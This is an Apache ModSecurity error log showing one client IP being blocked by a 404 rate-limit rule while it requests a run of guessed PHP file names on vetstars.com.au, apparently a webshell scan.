[Sun Apr 19 13:00:08.193445 2026] [:error] [pid 15693:tid 15717] [client 51.12.84.102:52319] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeRhWMNMD-ccazQlTsk18AAAAVU"]
[Sun Apr 19 13:00:08.965341 2026] [:error] [pid 15694:tid 15725] [client 51.12.84.102:60983] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeRhWLimB-jol1fwqArhvAAAAYI"]
[Sun Apr 19 13:00:09.573707 2026] [:error] [pid 15694:tid 15740] [client 51.12.84.102:60240] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeRhWbimB-jol1fwqArhvgAAAY4"]
[Sun Apr 19 13:00:10.816769 2026] [:error] [pid 15693:tid 15713] [client 51.12.84.102:60962] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeRhWsNMD-ccazQlTsk18gAAAVE"]
[Sun Apr 19 13:00:11.881330 2026] [:error] [pid 15763:tid 15803] [client 51.12.84.102:60287] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeRhW7MXv1Y1THOoxaCOxgAAAgc"]
[Sun Apr 19 13:00:12.752893 2026] [:error] [pid 47773:tid 47824] [client 51.12.84.102:60939] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeRhXOiBHdnCJDuPq9DsUwAAAEg"]
[Sun Apr 19 13:00:13.843428 2026] [:error] [pid 15693:tid 15720] [client 51.12.84.102:60252] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeRhXcNMD-ccazQlTsk19AAAAVg"]
[Sun Apr 19 13:00:14.882420 2026] [:error] [pid 15760:tid 15784] [client 51.12.84.102:60941] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeRhXvSdD_XHQMJ_IStNtwAAAdA"]
[Sun Apr 19 13:00:21.022332 2026] [:error] [pid 15764:tid 15834] [client 51.12.84.102:60954] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeRhZWLL_sqdSHoVp-RzwwAAAkg"]
[Sun Apr 19 13:00:27.147563 2026] [:error] [pid 15764:tid 15837] [client 51.12.84.102:60231] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeRha2LL_sqdSHoVp-Rz6gAAAks"]
[Sun Apr 19 13:00:28.492884 2026] [:error] [pid 15763:tid 15817] [client 51.12.84.102:60960] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeRhbLMXv1Y1THOoxaCO0gAAAhU"]
[Sun Apr 19 13:00:29.884785 2026] [:error] [pid 47772:tid 47807] [client 51.12.84.102:60251] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeRhbYc0L16cb4smAz85OQAAABI"]
[Sun Apr 19 13:01:17.880976 2026] [:error] [pid 47772:tid 47802] [client 51.12.84.102:60274] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeRhnYc0L16cb4smAz85hwAAAA0"]
[Sun Apr 19 13:01:18.564081 2026] [:error] [pid 15760:tid 15777] [client 51.12.84.102:60261] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeRhnvSdD_XHQMJ_IStOCwAAAck"]
[Sun Apr 19 13:01:19.691719 2026] [:error] [pid 15760:tid 15768] [client 51.12.84.102:52303] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeRhn_SdD_XHQMJ_IStODgAAAcA"]
[Sun Apr 19 13:01:20.514989 2026] [:error] [pid 15764:tid 15839] [client 51.12.84.102:60262] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeRhoGLL_sqdSHoVp-R0UwAAAk0"]
[Sun Apr 19 13:01:21.613975 2026] [:error] [pid 15764:tid 15830] [client 51.12.84.102:52307] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeRhoWLL_sqdSHoVp-R0VQAAAkQ"]
[Sun Apr 19 13:01:23.111249 2026] [:error] [pid 15760:tid 15778] [client 51.12.84.102:60237] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeRho_SdD_XHQMJ_IStOFAAAAco"]
[Sun Apr 19 13:01:23.928419 2026] [:error] [pid 15764:tid 15827] [client 51.12.84.102:52315] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeRho2LL_sqdSHoVp-R0XgAAAkE"]
[Sun Apr 19 13:01:24.662400 2026] [:error] [pid 15760:tid 15788] [client 51.12.84.102:60987] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeRhpPSdD_XHQMJ_IStOHAAAAdQ"]
[Sun Apr 19 13:01:25.745318 2026] [:error] [pid 15693:tid 15704] [client 51.12.84.102:52312] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeRhpcNMD-ccazQlTsk2AQAAAUg"]
[Sun Apr 19 13:01:26.553764 2026] [:error] [pid 47773:tid 47839] [client 51.12.84.102:52288] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeRhpuiBHdnCJDuPq9DsdQAAAFc"]
[Sun Apr 19 13:01:27.737906 2026] [:error] [pid 15763:tid 15798] [client 51.12.84.102:52323] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeRhp7MXv1Y1THOoxaCO9AAAAgI"]
[Sun Apr 19 13:01:28.521938 2026] [:error] [pid 47772:tid 47806] [client 51.12.84.102:60250] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeRhqIc0L16cb4smAz85jwAAABE"]
[Sun Apr 19 13:01:29.269559 2026] [:error] [pid 47772:tid 47802] [client 51.12.84.102:52314] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeRhqYc0L16cb4smAz85kAAAAA0"]
[Sun Apr 19 13:01:29.943483 2026] [:error] [pid 15765:tid 15864] [client 51.12.84.102:60968] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeRhqfRqinw-W5EwQ77EHgAAAos"]
[Sun Apr 19 13:01:30.636839 2026] [:error] [pid 47886:tid 47902] [client 51.12.84.102:45506] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeRhqkSe8yiyuPrD7yM67AAAAM4"]
[Sun Apr 19 13:01:31.450119 2026] [:error] [pid 47886:tid 47899] [client 51.12.84.102:52251] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeRhq0Se8yiyuPrD7yM67QAAAMs"]
[Sun Apr 19 13:01:32.196174 2026] [:error] [pid 15764:tid 15838] [client 51.12.84.102:52306] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeRhrGLL_sqdSHoVp-R0ZQAAAkw"]
[Sun Apr 19 13:01:32.932542 2026] [:error] [pid 15694:tid 15746] [client 51.12.84.102:60985] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeRhrLimB-jol1fwqArh7wAAAZQ"]
[Sun Apr 19 13:01:33.974970 2026] [:error] [pid 47773:tid 47832] [client 51.12.84.102:52291] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeRhreiBHdnCJDuPq9DsewAAAFA"]
[Sun Apr 19 13:01:34.750861 2026] [:error] [pid 15763:tid 15802] [client 51.12.84.102:52328] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeRhrrMXv1Y1THOoxaCO_wAAAgY"]
[Sun Apr 19 13:01:35.665804 2026] [:error] [pid 15763:tid 15800] [client 51.12.84.102:60269] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeRhr7MXv1Y1THOoxaCPAwAAAgQ"]
[Sun Apr 19 13:01:36.404684 2026] [:error] [pid 15763:tid 15796] [client 51.12.84.102:60254] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeRhsLMXv1Y1THOoxaCPCQAAAgA"]
[Sun Apr 19 13:01:37.039318 2026] [:error] [pid 15760:tid 15783] [client 51.12.84.102:52311] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeRhsfSdD_XHQMJ_IStOPwAAAc8"]
[Sun Apr 19 13:01:38.114466 2026] [:error] [pid 15760:tid 15790] [client 51.12.84.102:60991] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeRhsvSdD_XHQMJ_IStOQQAAAdY"]
[Sun Apr 19 13:01:38.738706 2026] [:error] [pid 47773:tid 47838] [client 51.12.84.102:52318] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeRhsuiBHdnCJDuPq9DsfwAAAFY"]
[Sun Apr 19 13:01:39.336509 2026] [:error] [pid 15763:tid 15814] [client 51.12.84.102:60975] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeRhs7MXv1Y1THOoxaCPCwAAAhI"]
[Sun Apr 19 13:01:39.968317 2026] [:error] [pid 15760:tid 15785] [client 51.12.84.102:52310] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeRhs_SdD_XHQMJ_IStOQwAAAdE"]
[Sun Apr 19 13:01:40.573281 2026] [:error] [pid 47773:tid 47826] [client 51.12.84.102:52250] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeRhtOiBHdnCJDuPq9DsgwAAAEo"]
[Sun Apr 19 13:01:41.360615 2026] [:error] [pid 15764:tid 15829] [client 51.12.84.102:52300] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeRhtWLL_sqdSHoVp-R0awAAAkM"]
[Sun Apr 19 13:01:41.931801 2026] [:error] [pid 15760:tid 15774] [client 51.12.84.102:60951] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeRhtfSdD_XHQMJ_IStORQAAAcY"]
[Sun Apr 19 13:01:42.648022 2026] [:error] [pid 15760:tid 15771] [client 51.12.84.102:60945] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeRhtvSdD_XHQMJ_IStOSAAAAcM"]
[Sun Apr 19 13:01:43.334366 2026] [:error] [pid 15694:tid 15736] [client 51.12.84.102:60263] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeRht7imB-jol1fwqArh9AAAAYo"]
[Sun Apr 19 13:01:44.005038 2026] [:error] [pid 47886:tid 47889] [client 51.12.84.102:60952] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeRhuESe8yiyuPrD7yM68gAAAME"]
[Sun Apr 19 13:01:44.682872 2026] [:error] [pid 47886:tid 47903] [client 51.12.84.102:60964] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeRhuESe8yiyuPrD7yM68wAAAM8"]
[Sun Apr 19 13:01:45.464530 2026] [:error] [pid 47886:tid 47910] [client 51.12.84.102:60938] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeRhuUSe8yiyuPrD7yM69AAAANY"]
[Sun Apr 19 13:01:46.200093 2026] [:error] [pid 15694:tid 15738] [client 51.12.84.102:52253] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeRhurimB-jol1fwqArh9gAAAYw"]
[Sun Apr 19 13:01:46.765608 2026] [:error] [pid 15763:tid 15807] [client 51.12.84.102:60979] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeRhurMXv1Y1THOoxaCPDwAAAgs"]
[Sun Apr 19 13:01:47.387693 2026] [:error] [pid 47775:tid 47866] [client 51.12.84.102:52304] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeRhu7mztjlk9tsmoezNdwAAAJc"]
[Sun Apr 19 13:01:48.096854 2026] [:error] [pid 15764:tid 15830] [client 51.12.84.102:52237] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeRhvGLL_sqdSHoVp-R0cQAAAkQ"]
[Sun Apr 19 13:01:48.637305 2026] [:error] [pid 15764:tid 15841] [client 51.12.84.102:52317] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.mopj.php"] [unique_id "aeRhvGLL_sqdSHoVp-R0cwAAAk8"]
[Sun Apr 19 13:01:49.311638 2026] [:error] [pid 15760:tid 15786] [client 51.12.84.102:52342] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeRhvfSdD_XHQMJ_IStOVQAAAdI"]
[Sun Apr 19 13:01:49.929595 2026] [:error] [pid 47775:tid 47864] [client 51.12.84.102:60234] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeRhvbmztjlk9tsmoezNeAAAAJU"]
[Sun Apr 19 13:01:50.769354 2026] [:error] [pid 47773:tid 47818] [client 51.12.84.102:60986] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeRhvuiBHdnCJDuPq9DsjAAAAEI"]
[Sun Apr 19 13:01:51.645536 2026] [:error] [pid 15763:tid 15817] [client 51.12.84.102:45526] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeRhv7MXv1Y1THOoxaCPFAAAAhU"]
[Sun Apr 19 13:01:52.319440 2026] [:error] [pid 15760:tid 15769] [client 51.12.84.102:52225] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nano.php"] [unique_id "aeRhwPSdD_XHQMJ_IStOVwAAAcE"]
